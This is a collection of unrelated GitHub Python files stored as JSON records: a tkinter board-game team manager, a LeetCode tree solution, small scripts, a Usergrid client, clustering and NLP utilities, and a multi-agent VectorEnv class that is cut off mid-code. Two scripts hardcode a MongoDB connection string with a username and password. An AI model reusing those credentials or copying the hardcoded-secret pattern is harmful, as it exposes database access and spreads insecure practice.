bg=\"gray\").pack()\n txt_box_dext = tk.Entry(right_frame)\n try:\n dexterity_char = picked_char.dexterity\n except:\n dexterity_char = \"\"\n txt_box_dext.insert(0,dexterity_char)\n txt_box_dext.pack()\n \n #label_char_skills = tk.Label(right_frame, text=\"Skills\", bg=\"gray\").pack()\n \n #label_char_mutation = tk.Label(right_frame, text=\"Mutations\", bg=\"gray\").pack()\n \n #label_char_body = tk.Label(right_frame, text=\"Body\", bg=\"gray\").pack()\n \n #label_char_img = tk.Label(right_frame, text=\"Miniature\", bg=\"gray\").pack()\n \n button_recruit_player = tk.Button(right_frame, text=\"Sign contract\", command= lambda: [TeamSquad.recruit_player(combo_pick_player_team,txt_box_teamBudget)])\n button_recruit_player.pack(fill=tk.BOTH,expand=True)\n ###test button\n #chart_frame = tk.Frame(Window, width=1000, height=400, bg='grey')\n #chart_frame.pack(side='right', fill='both', padx=10, pady=5, expand=True)\n #temp_canva = FigureCanvasTkAgg(master=chart_frame)\n #global player_chart\n #player_chart = temp_canva\n \n \n frame_left.pack()\n right_frame.pack()\n #chart_frame.pack()\n Window.mainloop()\n #w_char_pic.pack()\n #Window renderer\nclass TeamSquad(object):\n \n def BuildTeam_Window(Mian_window):\n Window = tk.Toplevel(Mian_window)\n Window.title(\"Register New Team\")\n Window.maxsize(width=400, height=120)\n \n frame_main = tk.Frame(Window, width = 400, height = 120, bg='white')\n frame_main.pack(side='left', fill='both', padx=10, pady=5, expand=True)\n label_teamname = tk.Label(master=frame_main, text=\"Enter Team name:\", bg='white')\n label_teamname.pack()\n txt_box_health = tk.Entry(master=frame_main)\n txt_box_health.pack()\n btn_registerteam = tk.Button(master=frame_main, text=\"Register\", command= lambda:[TeamSquad.BuildTeam(txt_box_health,Window)])\n btn_registerteam.pack()\n Window.mainloop()\n \n \n def BuildTeam(TeamName_textBox, Window):\n team_name = TeamName_textBox.get()\n with open(\"Bebek/team_schema.json\",\"r\") as file:\n str_json = file.read().rstrip()\n json_team_schema = json.loads(str_json)\n try:\n json_team_schema[\"TeamName\"]=team_name\n messagebox.showinfo(title=\"Team creator\", message = \"Your team: \"+str(team_name)+\" has been created\")\n except:\n messagebox.showerror(title=\"Team creator\", message = \"Your team: \"+team_name+\" has not been created due to an error\")\n \n #save team file\n \n with open(\"Bebek/Teams_/\"+team_name+\".json\",\"w\") as outputfile:\n json.dump(json_team_schema,outputfile)\n Window.destroy()\n \n def read_team(Combobox_teamPick):\n global teams_dict\n global selected_team\n global team_budget\n team_budget = 0\n picked_team_name = Combobox_teamPick.get()\n json_team_file = teams_dict[picked_team_name]\n team_json_main = os.path.join(main_path,'/Users/GNYAA/source/repos/bebek_python/Bebek/Teams_/')\n with open(team_json_main+json_team_file,\"r\") as file:\n str_json = file.read().rstrip()\n json_chars = json.loads(str_json)\n if json_chars['TeamBudget'] > 0:\n team_budget = json_chars['TeamBudget']\n\n return json_chars\n\n\n def playable_char_to_json(playable_char_obj):\n player_def_json = dict()\n player_def_json[\"class\"] = playable_char_obj.cl\n player_def_json[\"cost\"] = playable_char_obj.cost\n player_def_json[\"type\"] = playable_char_obj.type\n player_def_json[\"health\"] = playable_char_obj.health \n player_def_json[\"move\"] = playable_char_obj.move\n player_def_json[\"armor\"] = playable_char_obj.armor \n player_def_json[\"throw\"] = playable_char_obj.throw\n player_def_json[\"text\"] = playable_char_obj.text\n player_def_json[\"dexterity\"] = playable_char_obj.dexterity \n player_def_json[\"pitch_pic\"] = playable_char_obj.pitch_pic\n player_def_json[\"portret_pic\"] = playable_char_obj.portret_pic\n player_def_json[\"skills\"] = playable_char_obj.skills\n player_def_json[\"mutations\"] = playable_char_obj.mutations\n player_def_json[\"body\"] = playable_char_obj.body\n return player_def_json\n \n def recruit_player(Teams_combobox,txt_box_teamBudget):\n global picked_char\n global teams_dict\n json_team_data = TeamSquad.read_team(Teams_combobox)\n team_name = teams_dict[json_team_data['TeamName'].lower()]\n team_cash = json_team_data[\"TeamBudget\"]\n player_cost =picked_char.cost\n if team_cash >= player_cost:\n player_json_string = TeamSquad.playable_char_to_json(picked_char)\n json_team_data[\"Players\"].append(player_json_string)\n json_team_data[\"TeamBudget\"] = team_cash - player_cost\n messagebox.showinfo(title = \"Recrutaion status\", message=\"You manage to sign contract with: \"+picked_char.cl)\n \n with open(\"Bebek/Teams_/\"+team_name,\"w\") as outputfile:\n json.dump(json_team_data,outputfile)\n bebek_team_picker_menu.Update_team(txt_box_teamBudget)\n else:\n messagebox.showwarning(title= \"Recrutaion status\", message=\"You dont have enough money to sign contract with this player\")\n \n def sell_player(Teams_combobox,txt_box_teamBudget):\n print(\"to design after team manager window ready\")\n \n def spawn_character(btn_dict,spawn_position):\n global picked_char\n if spawn_position ==\"\":\n messagebox.showwarning(title=\"No position to spawn\",message =\"Please pick spawn position\")\n else:\n spawn_position =picked_position\n bebek_tools.spawn_char_onB(btn_dict_board, char_dict_pic)\n\n \n \n \n \n\n \n ","repo_name":"mikzielinski/bebek_python","sub_path":"Bebek/Team_class.py","file_name":"Team_class.py","file_ext":"py","file_size_in_byte":23397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"364509125","text":"\"\"\"\n1483. Kth Ancestor of a Tree Node\nYou are given a tree with n nodes numbered from 0 to n-1 in the form of a parent array where parent[i] is the parent of node i. The root of the tree is node 0.\n\nImplement the function getKthAncestor(int node, int k) to return the k-th ancestor of the given node. If there is no such ancestor, return -1.\n\nThe k-th ancestor of a tree node is the k-th node in the path from that node to the root.\n\nExample:\nInput:\n[\"TreeAncestor\",\"getKthAncestor\",\"getKthAncestor\",\"getKthAncestor\"]\n[[7,[-1,0,0,1,1,2,2]],[3,1],[5,2],[6,3]]\n\nOutput:\n[null,1,0,-1]\n\nExplanation:\nTreeAncestor treeAncestor = new TreeAncestor(7, [-1, 0, 0, 1, 1, 2, 2]);\ntreeAncestor.getKthAncestor(3, 1); // returns 1 which is the parent of 3\ntreeAncestor.getKthAncestor(5, 2); // returns 0 which is the grandparent of 5\ntreeAncestor.getKthAncestor(6, 3); // returns -1 because there is no such ancestor\n\nConstraints:\n1 <= k <= n <= 5*10^4\nparent[0] == -1 indicating that 0 is the root node.\n0 <= parent[i] < n for all 0 < i < n\n0 <= node < n\nThere will be at most 5*10^4 queries.\n\"\"\"\nclass TreeAncestor:\n # Time complexity: O(N log N)\n # Space complexity: O(N log N)\n def __init__(self, n: int, parent: List[int]):\n self.steps = 15\n parent_of = {i:val for i, val in enumerate(parent)}\n self.jumps = [parent_of]\n for s in range(self.steps):\n level = {}\n for i in parent_of:\n if parent_of[i] in parent_of:\n level[i] = parent_of[parent_of[i]]\n self.jumps.append(level)\n parent_of = level\n \n # Time complexity: O(1)\n # Space complexity: O(1)\n def getKthAncestor(self, node: int, k: int) -> int:\n for i in range(self.steps, -1, -1):\n n = pow(2, i) # equivalent to 1 << i\n if k >= n:\n node = self.jumps[i].get(node, -1)\n k -= n\n if node == -1:\n return -1\n return node\n \n# Your TreeAncestor object will be instantiated and called as such:\n# obj = TreeAncestor(n, parent)\n# param_1 = obj.getKthAncestor(node,k)\n","repo_name":"victorplusc/Algorithms","sub_path":"Leetcode/1483. Kth Ancestor of a Tree Node.py","file_name":"1483. Kth Ancestor of a Tree Node.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"12523489348","text":"def tp_checker(dictionary):\n people = dictionary[\"people\"]\n number_of_rolls = dictionary[\"tp\"]\n avg_use = 57\n \n total_sheets = number_of_rolls * 500\n daily_use = people * 57\n days = total_sheets // daily_use\n print(\"Your TP will only last \" + str(days) + \" days, buy more!\" if days < 14 else \"Your TP will last \" + str(days) + \" days, no need to panic!\" )\n\ntp_checker({ \"people\": 4, \"tp\": 1 })\ntp_checker({ \"people\": 3, \"tp\": 20 })\ntp_checker({ \"people\": 4, \"tp\": 12 })","repo_name":"Pottemuld/EDABIT","sub_path":"Python/Hard/SpareASquare.py","file_name":"SpareASquare.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28531109075","text":"#install pymongo -> https://www.tutorialkart.com/mongodb/connect-to-mongodb-from-python/\n#work with pymongo -> https://pymongo.readthedocs.io/en/stable/tutorial.html\n\nimport pymongo\nfrom pymongo import MongoClient\n\n#Conection to DB\nURI = \"mongodb+srv://db_user:db_user@dss.icklgr1.mongodb.net/\"\nclient = MongoClient(URI)\nprint(\"Connection Successful\")\ndb = client.database_dss\n#two different collections, one for input and one for output\ncollection_input = db.input\ncollection_output = db.output\n\n#INPUT\n#create entry for input\nentry = {\"parameters\":\n {\n \"gate_open_time\": \"12:00\",\n \"gate_closing_time\": \"17:00\",\n \"no_of_cars\": 201,\n \"no_of_trucks\": 51,\n \"no_of_trailers\": 21,\n \"employee_cost\": 11,\n \"gate_cost\": 10,\n \"ticket_cost\": 15,\n \"total_area_width\": 50.00,\n \"total_area_length\": 75.00,\n \"perc_online_check_in\": 10\n },\n \"layout\":\n [\n {\n \"id\": 0,\n \"type\": \"Road\",\n \"capacity\": 3.0,\n \"allowed_veh\": [],\n \"start_pos\": {\n \"x\": 0,\n \"y\": 4\n },\n \"end_pos\": {\n \"x\": 0,\n \"y\": 6\n },\n \"connectsTo\": []\n }\n ]\n}\n#id = collection_input.insert_one(entry).inserted_id\n#print(id)\n\n#for input -> to check if output is available for input\nlast_entry = collection_input.find_one({},sort=[('_id', pymongo.DESCENDING)])\nid = last_entry[\"_id\"]\nif collection_output.find_one({\"input_id\":id}) is not None :\n print(id)\n\n\n#OUTPUT\n\n#get last entry from input\nlast_entry = collection_input.find_one({},sort=[('_id', pymongo.DESCENDING)])\n#print(last_entry)\n\n#create entry for database\noutput = {\n \"input_id\" : last_entry[\"_id\"],\n \"simulation\": \"OUTPUT\"\n}\n#to insert created entry in database\n#collection_output.insert_one(output)\n\nclient.close()\n","repo_name":"matth1446/harbourParkingLot","sub_path":"frontend/database/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42769577580","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nusergrid.clients\n~~~~~~~~~~~~~~~~\n\nThis module contains the usergrid clients.\n\"\"\"\n\nfrom .sessions import BaseSession, UsergridSession\nfrom .rest import RESTClient\n\nclass BaseClient(object):\n\n def __init__(self, session, rest_client=None):\n \"\"\"Construct a ``BaseClient`` instance.\n Returns :class:`BaseClient`` object.\n\n :param session: an instance of :class:`UsergridSession`\n :param rest_client: Optional :class:`usergrid.rest.RESTClient` object to for making requests.\n \"\"\"\n\n if rest_client is None: rest_client = RESTClient\n\n if isinstance(session, BaseSession):\n self.session = session\n else:\n raise ValueError(\"'session' must be a UsergridSession\")\n\n self.rest = rest_client\n\n def request(self, target, params=None, method='POST'):\n \"\"\"Construct the url, headers and params for a request with all access information.\n Returns a tuble of (url, headers, params).\n \"\"\"\n\n assert method in ['GET','POST', 'PUT'], \"Only 'GET', 'POST', and 'PUT' are allowed.\"\n\n if params is None:\n params = {}\n\n headers, access_params = self.session.build_access_headers()\n params = dict(params.items() + access_params.items())\n\n if method in ('GET', 'PUT'):\n url = self.session.build_url(target, params)\n else:\n url = self.session.build_url(target)\n\n return url, headers, params\n\n\nclass ApplicationClient(BaseClient):\n \"\"\"This class lets you make API calls to manage a Usergrid application. You'll need to obtain an\n OAuth2 access token first. You can get an access token using :class:`UsergridSession`\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(ApplicationClient, self).__init__(*args, **kwargs)\n\n def test(self):\n\n url, headers, params = self.request('/users')\n\n return self.rest.get(url)\n","repo_name":"aboudreault/usergrid-python","sub_path":"usergrid/clients.py","file_name":"clients.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15571595522","text":"#1.1 report 3 \r\n\r\nfrom matplotlib.pyplot import figure, show, legend\r\nfrom scipy.io import loadmat\r\nfrom __init__ import clusterplot\r\nfrom scipy.cluster.hierarchy import linkage, fcluster, dendrogram\r\nfrom clean_data import *\r\n\r\n\r\n# LOAD AND TRANSFORM DATA\r\n\r\ndata1 = clean_data('Datasets/**videos.csv')\r\ndata = transform_data(data1,['likes','dislikes','views','comment_count','trending_time'])\r\nindex = [data1.category_id[id] in [10,15,20,22] for id in range(len(data1.category_id))]\r\ndata['class'] = data1['category_id']\r\ndata = data[index]\r\ndata = data.head(2000) #first n rows\r\n#print(len(data))\r\n#data = data.sample(100000)\r\n#print(data1)\r\nX = np.array(data[['likes','dislikes','views','comment_count','trending_time']])\r\ny = np.array(data['class'])\r\nattributeNames = ['likes','dislikes','views','comment_count','trending_time']\r\nclassNames = [\"Mu\",\"Ga\",\"PA\",\"PB\"]\r\n#classNames = [name[0][0] for name in mat_data['classNames']]\r\nN, M = X.shape\r\nC = len(classNames)\r\n\r\n#ex 10.1.2\r\n#Use linkage to create a sample to sample distance matrix according to given distance metric \r\n# and creates the linkages between data points forming the hierarchical cluster tree\r\n\r\n\r\n# Perform hierarchical/agglomerative clustering on data matrix\r\n# Change these to \r\nMethod = 'average'\r\nMetric = 'correlation'\r\n\r\nZ = linkage(X, method=Method, metric=Metric)\r\n\r\n# Compute and display clusters by thresholding the dendrogram\r\n# Select appropiate dissimilarity measure \r\n\r\nfrom categories import find_cat_labels\r\n\r\ncat_labels = find_cat_labels('Datasets/CA_category_id.json')\r\nclassLabels = [cat_labels[i] for i in [\"10\",\"15\",\"20\",\"22\"]] \r\n\r\nMaxclust = 12\r\ncls = fcluster(Z, criterion='maxclust', t=Maxclust)\r\nfigure(1)\r\nlegend(classLabels)\r\nclusterplot(X, cls.reshape(cls.shape[0],1), y=y)\r\n\r\n# Display dendrogram\r\n# Cutof dendogram at threshold\r\nmax_display_levels=4\r\nfigure(2,figsize=(10,5))\r\ndendrogram(Z, truncate_mode='level', p=max_display_levels)\r\n\r\nshow()\r\n\r\nprint('Ran Exercise 10.2.1')\r\n","repo_name":"s183920/02450_intro_to_ML_project","sub_path":"cluster_hier.py","file_name":"cluster_hier.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28531098315","text":"# from collections import deque\nfrom os.path import exists\nimport json\nfrom TilesModel import Gate, Road, ParkingSpot\nfrom backend.utils import Graph\nfrom pymongo import MongoClient, DESCENDING\n\n\ndef validateExtract(dict):\n for obj in dict:\n if type(obj) in [ParkingSpot, Road]:\n for g in obj.goesTo:\n if not (g[0] in dict.keys()):\n return False\n return True\n\n\ndef buildFromJson(jsonInput):\n r = open(jsonInput, \"r\").read()\n content = json.loads(r)\n res = {}\n\n for obj in content:\n if obj[\"type\"].lower() == \"parking\":\n res[obj[\"id\"]] = ParkingSpot(obj[\"type-allowed\"],\n [(obj[\"connectsTo\"][j][\"id\"], obj[\"connectsTo\"][j][\"pos\"]) for j in\n range(len(obj[\"connectsTo\"]))],\n obj[\"capacity\"])\n elif obj[\"type\"].lower() == \"road\":\n res[obj[\"id\"]] = Road(obj[\"type-allowed\"], obj[\"capacity\"], obj[\"entry\"],\n [(obj[\"connectsTo\"][j][\"id\"], obj[\"connectsTo\"][j][\"pos\"]) for j in\n range(len(obj[\"connectsTo\"]))])\n elif obj[\"type\"].lower() == \"check-in\":\n res[obj[\"id\"]] = Gate(obj[\"type-allowed\"])\n else:\n print(\"unread object : \" + str(obj))\n\n if validateExtract(res):\n return Graph(res, getVehiculesType(r), buildConnections(res))\n else:\n return None\n\n\ndef buildFromTable(input):\n res = {}\n vehicle = set()\n for obj in input:\n if obj[\"type\"].lower() == \"parking\":\n res[obj[\"id\"]] = ParkingSpot(obj[\"allowed_veh\"],\n [(obj[\"connectsTo\"][j][\"id\"], obj[\"connectsTo\"][j][\"pos\"]) for j in\n range(len(obj[\"connectsTo\"]))],\n obj[\"capacity\"])\n vehicle = vehicle.union(set(obj[\"allowed_veh\"]))\n elif obj[\"type\"].lower() == \"road\":\n res[obj[\"id\"]] = Road(obj[\"allowed_veh\"], obj[\"capacity\"], obj[\"entry\"],\n [(obj[\"connectsTo\"][j][\"id\"], obj[\"connectsTo\"][j][\"pos\"]) for j in\n range(len(obj[\"connectsTo\"]))])\n vehicle = vehicle.union(set(obj[\"allowed_veh\"]))\n elif obj[\"type\"].lower() == \"check-in\":\n res[obj[\"id\"]] = Gate(obj[\"allowed_veh\"])\n vehicle = vehicle.union(set(obj[\"allowed_veh\"]))\n else:\n print(\"unread object : \" + str(obj))\n\n nodes = [res[index] for index in res]\n if validateExtract(res):\n return Graph(res, vehicle, buildConnections(nodes))\n else:\n return None\n\n\ndef buildFromDb():\n db = MongoClient(\"mongodb+srv://db_user:db_user@dss.icklgr1.mongodb.net/\").database_dss.input\n last_entry = db.find_one({}, sort=[('_id', DESCENDING)])\n print(last_entry[\"layout\"])\n return buildFromTable(last_entry[\"layout\"])\n\n\ndef getVehiculesType(jsonInput):\n content = json.loads(jsonInput)\n res = set()\n for it in range(len(content)):\n res = res.union(set(content[it][\"type-allowed\"]))\n return res\n\n\ndef buildConnections(graph):\n res = [[] for _i in range(len(graph))]\n for index in range(len(graph)):\n if type(graph[index]) != Gate:\n res[index] = [(id_node, graph[id_node].type) for (id_node, p) in graph[index].goesTo]\n return res\n\n\nif __name__ == \"__main__\":\n got = \"\"\n if exists(\"input.json\"):\n f = open(\"input.json\", \"r\")\n got = f.read()\n else:\n nbLine = int(input(\"How many lines do you want to enter?\"))\n\n got = \"\"\n for i in range(nbLine):\n got += input(\"next line : \")\n\n print(buildFromJson(got))\n","repo_name":"matth1446/harbourParkingLot","sub_path":"backend/JsonReader.py","file_name":"JsonReader.py","file_ext":"py","file_size_in_byte":3780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24136227342","text":"class AverageMeter:\n \"\"\"\n Computes and stores the average and current value\n \"\"\"\n\n def __init__(self):\n self.reset()\n\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n\ndef accuracy(output, target, topk=(1,)):\n \"\"\"\n Evaluates a model's top k accuracy\n \"\"\"\n\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].view(-1).float().sum(0)\n res.append(correct_k.mul_(100.0 / batch_size))\n return res\n\n\ndef caculate_metrics(tp, tn, fp, fn):\n \"\"\"\n Evaluates the metrics\n \"\"\"\n eps = 1e-8\n return {\"total_accuracy\": (tp + tn) / (tp + tn + fp + fn + eps),\n \"known_accuracy\": tn / (tn + fp + eps),\n \"precision\": tp / (tp + fp + eps),\n \"recall\": tp / (tp + fn + eps),\n \"f1\": 2 * tp / (2 * tp + fp + fn + eps)}\n","repo_name":"ZhenanHe/Open-Set-Signal-Classification-OSSC","sub_path":"lib/Utility/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"72264594009","text":"from collections import Counter\n\n\n_PAD = r\"_PAD\"\n_GO = r\"_GO\"\n_EOS = r\"_EOS\"\n_UNK = r\"_UNK\"#词汇表外的词用UNK_ID表示\n_START_VOCAB = [_PAD, _GO, _EOS, _UNK]\n\nPAD_ID = 0\nGO_ID = 1\nEOS_ID = 2\nUNK_ID = 3\n\ndef load_data(data_dir,title_dir,file_num=9):\n\n train_data=[None]*file_num #文章\n train_title=[None]*file_num #标题\n\n #读取处理好的文章,和标题 train_data=[train_data1,...],train_data1是列表\n for i in range(file_num):\n with open(data_dir[i],'r+',encoding='utf-8') as f:\n train_data[i] = [line for line in f]\n with open(title_dir[i],'r+',encoding='utf-8') as ff:\n train_title[i]=[line for line in ff]\n return train_data,train_title\n\ndef create_vocabulary(data,vocabulary_path,max_vocabulary_size):\n #创建并保存词汇表\n vocab = Counter(w for txt in data for w in txt.split())\n vocab_list = _START_VOCAB+sorted(vocab, key=vocab.get,reverse=True)#list类型\n\n if len(vocab_list) > max_vocabulary_size:\n vocab_list = vocab_list[:max_vocabulary_size]\n print(\"Save vocab...\")\n with open(vocabulary_path, 'w+',encoding='utf-8') as vocab_file:\n for w in vocab_list:\n vocab_file.write(w)\n vocab_file.write('\\n')\n # with open(r'F:\\Bytecup2018\\vocab\\vocabcount.txt', 'w+', encoding='utf-8') as vocab_file:\n # for w in vocab_list:\n # vocab_file.write(w)\n # vocab_file.write(' '+str(vocab[w]))#词频\n # vocab_file.write('\\n')\n print(\"Save completed...\")\n\ndef initialize_vocabulary(vocabulary_path):\n # 确定单词在词汇表中的位置\n #读取词汇表为一个字典,并将词汇表reverse(这个操作可以通过将键存储为一个list来完成)\n # vocab:{\"dog\": 0, \"cat\": 1}=word2idx ; rev_vocab:[\"dog\", \"cat\"]=idx2word\n idx2word = []\n with open(vocabulary_path, 'r+',encoding='utf-8') as f:\n idx2word.extend(f.readlines())\n idx2word = [line.strip() for line in idx2word]\n word2idx = dict([(x, y) for (y, x) in enumerate(idx2word)])\n\n return word2idx, idx2word\n\n#token_ids应用于one hot标识,仅供参考\ndef sentence_to_token_ids(sentence, vocabulary):\n #把句子转换成token_id,(list)\n '''a sentence \"I have a dog\" may become tokenized into\n [\"I\", \"have\", \"a\", \"dog\"] and with vocabulary {\"I\": 1, \"have\": 2,\n \"a\": 4, \"dog\": 7\"} this function will return [1, 2, 4, 7].'''\n\n words=sentence.split()\n return [vocabulary.get(w, UNK_ID) for w in words]\n#同上\ndef data_to_token_ids(data_dir, title_dir,tokens_path,title_tokens_path,\n vocabulary_path,file_num=9):\n #把所有句子转换成token_id,并存储\n print('load data...')\n data , title = load_data(data_dir,title_dir,file_num)\n print('initial vocab...')\n word2idx,_=initialize_vocabulary(vocabulary_path)\n print('Starting...')\n for i in range(file_num):\n #将内容转成数字标识\n with open(tokens_path[i],'w+',encoding='utf-8') as tokens:\n for line in data[i]:\n token_ids=sentence_to_token_ids(line,word2idx)\n tokens.write(\" \".join([str(token) for token in token_ids]) + \"\\n\")\n print('tokens{} completed'.format(i))\n #将标题转成数字标识\n with open(title_tokens_path[i],'w+',encoding='utf-8') as tokens:\n for line in title[i]:\n title_ids=sentence_to_token_ids(line,word2idx)\n tokens.write(\" \".join([str(token) for token in title_ids]) + \"\\n\")\n print(' title_tokens{} completed'.format(i))\n\ndef loadGloVe(embed_file):\n # 为词汇表中的所有单词学习一个嵌入,嵌入:即用向量表示单词\n embd_dict=dict()\n with open(embed_file,'r',encoding='utf-8') as file:\n i=0\n for line in file.readlines():\n row = line.strip().split(' ')#string格式\n word = row[0]\n vec = list(map(float, row[1:]))\n embd_dict[word] = vec\n embed_size=len(vec)#向量维度\n i+=1\n if i % 100000 == 0:\n print('{} lines completed'.format(i))\n print('Loaded GloVe!')\n return embd_dict,embed_size","repo_name":"zrongcheng/TextSum_english","sub_path":"word_emb.py","file_name":"word_emb.py","file_ext":"py","file_size_in_byte":4189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1880574382","text":"\"\"\"\nThe `VectorEnv` is an interface that integrates multiple environment instances to support parllel rollout \nwith shared multi-agent policies. Currently, the `VectorEnv` support parallel rollout for environment which steps in simultaneous mode.\n\"\"\"\n\nimport gym\nimport ray\nimport uuid\nfrom collections import ChainMap\n\nfrom ray.actor import ActorHandle\n\nfrom malib.utils.logger import Logger\nfrom malib.utils.typing import (\n Dict,\n AgentID,\n Any,\n EnvID,\n EpisodeID,\n List,\n PolicyID,\n Tuple,\n Callable,\n)\n\nfrom malib.envs import Environment\nfrom malib.utils.episode import EpisodeKey\n\n\n# class AgentItems:\n# def __init__(self) -> None:\n# self._data = {}\n\n# def update(self, agent_items: Dict[AgentID, Any]):\n# for k, v in agent_items.items():\n# if k not in self._data:\n# self._data[k] = []\n# self._data[k].append(v)\n\n# def cleaned_data(self):\n# return self._data\n\n\nclass VectorEnv:\n def __init__(\n self,\n observation_spaces: Dict[AgentID, gym.Space],\n action_spaces: Dict[AgentID, gym.Space],\n creator: type,\n configs: Dict[str, Any],\n preset_num_envs: int = 0,\n ):\n \"\"\"Create a VectorEnv instance.\n\n :param Dict[AgentID,gym.Space] observation_spaces: A dict of agent observation space\n :param Dict[AgentID,gym.Space] action_spaces: A dict of agent action space\n :param type creator: The handler to create environment\n :param Dict[str,Any] configs: Environment configuration\n :param int num_envs: The number of nested environment\n :param int fragment_length: The maximum of batched frames\n\n \"\"\"\n self.observation_spaces = observation_spaces\n self.action_spaces = action_spaces\n self.possible_agents = list(observation_spaces.keys())\n\n self._num_envs = preset_num_envs\n self._creator = creator\n self._configs = configs.copy()\n self._envs: List[Environment] = []\n self._step_cnt = 0\n self._limits = len(self._envs)\n self._fragment_length = None\n self._active_envs = {}\n self._cached_episode_infos = {}\n\n self.add_envs(num=preset_num_envs)\n\n # TODO(ming): replace with a warning - sequential env support only 1 env in vec\n # def _validate_env(self, env: Environment):\n # assert (\n # not env.is_sequential\n # ), \"The nested environment must be an instance which steps in simultaneous.\"\n\n # @property\n # def trainable_agents(self):\n # return self._envs[0].trainable_agents\n\n @property\n def batched_step_cnt(self) -> int:\n return (\n self._step_cnt\n if isinstance(self._step_cnt, int)\n else self._step_cnt[self._trainable_agents]\n )\n\n @property\n def num_envs(self) -> int:\n \"\"\"The total number of environments\"\"\"\n\n return self._num_envs\n\n @property\n def envs(self) -> List[Environment]:\n \"\"\"Return a limited list of enviroments\"\"\"\n\n return self._envs[: self._limits]\n\n # @property\n # def extra_returns(self) -> List[str]:\n # \"\"\"Return extra columns required by this environment\"\"\"\n\n # return self._envs[0].extra_returns\n\n @property\n def env_creator(self):\n return self._creator\n\n @property\n def env_configs(self):\n return self._configs\n\n @property\n def limits(self):\n return self._limits\n\n @property\n def active_envs(self) -> Dict[EnvID, Environment]:\n return self._active_envs\n\n @classmethod\n def from_envs(cls, envs: List[Environment], config: Dict[str, Any]):\n \"\"\"Generate vectorization environment from exisiting environments.\"\"\"\n\n observation_spaces = envs[0].observation_spaces\n action_spaces = envs[0].action_spaces\n\n vec_env = cls(observation_spaces, action_spaces, type(envs[0]), config, 0)\n vec_env.add_envs(envs=envs)\n\n return vec_env\n\n def add_envs(self, envs: List = None, num: int = 0):\n \"\"\"Add exisiting `envs` or `num` new environments to this vectorization environment.\n If `envs` is not empty or None, the `num` will be ignored.\n \"\"\"\n\n if envs and len(envs) > 0:\n for env in envs:\n self._envs.append(env)\n self._num_envs += 1\n Logger.debug(f\"added {len(envs)} exisiting environments.\")\n elif num > 0:\n for _ in range(num):\n self._envs.append(self.env_creator(**self.env_configs))\n self._num_envs += 1\n Logger.debug(f\"created {num} new environments.\")\n\n def reset(\n self,\n limits: int,\n fragment_length: int,\n max_step: int,\n custom_reset_config: Dict[str, Any] = None,\n trainable_mapping: Dict[AgentID, PolicyID] = None,\n ) -> Dict[EnvID, Dict[str, Dict[AgentID, Any]]]:\n self._limits = limits or self.num_envs\n self._step_cnt = 0\n self._fragment_length = fragment_length\n self._custom_reset_config = custom_reset_config\n self.max_step = max_step\n self._cached_episode_infos = {}\n\n # generate runtime env ids\n runtime_ids = [uuid.uuid1().hex for _ in range(self._limits)]\n self._active_envs = dict(zip(runtime_ids, self.envs[: self._limits]))\n\n self._trainable_agents = (\n list(trainable_mapping.keys()) if trainable_mapping is not None else None\n )\n\n if trainable_mapping is None or len(trainable_mapping) > 1:\n self._step_cnt = 0\n self._trainable_agents = None\n else:\n self._trainable_agents = self._trainable_agents[0]\n self._step_cnt = {self._trainable_agents: 0}\n\n ret = {}\n\n for env_id, env in self.active_envs.items():\n _ret = env.reset(max_step=max_step, custom_reset_config=custom_reset_config)\n ret[env_id] = _ret\n\n return ret\n\n def step(self, actions: Dict[AgentID, List]) -> Dict:\n active_envs = self.active_envs\n\n env_rets = {}\n # FIXME(ming): (keyerror, sometimes) the env_id in actions is not an active environment.\n for env_id, _actions in actions.items():\n ret = active_envs[env_id].step(_actions)\n env_done = ret[EpisodeKey.DONE][\"__all__\"]\n env = self.active_envs[env_id]\n if env_done:\n env = active_envs.pop(env_id)\n self._cached_episode_infos[env_id] = env.collect_info()\n if not self.is_terminated():\n # write episode cache\n # else:\n _tmp = env.reset(\n max_step=self.max_step,\n custom_reset_config=self._custom_reset_config,\n )\n ret.update(_tmp)\n # regenerate runtime id\n runtime_id = uuid.uuid1().hex\n self._active_envs[runtime_id] = env\n env_rets[runtime_id] = _tmp\n env_rets[env_id] = ret\n if isinstance(self._step_cnt, int):\n self._step_cnt += len(actions)\n else:\n for _actions in actions.values():\n # print(\"actionssssss\", actions, self._trainable_agents, self._trainable_agents in actions.keys())\n if self._trainable_agents in _actions:\n self._step_cnt[self._trainable_agents] += 1\n return env_rets\n\n def is_terminated(self):\n if isinstance(self._step_cnt, int):\n return self._step_cnt >= self._fragment_length\n else:\n return self._step_cnt[self._trainable_agents] >= self._fragment_length\n\n def action_adapter(\n self, policy_outputs: Dict[EnvID, Dict[str, Dict[AgentID, Any]]]\n ) -> Dict[EnvID, Dict[AgentID, Any]]:\n res = {}\n\n # since activ_envs maybe updated after self.step, so we should use keys\n # in self.active_envs\n for env_id, env in 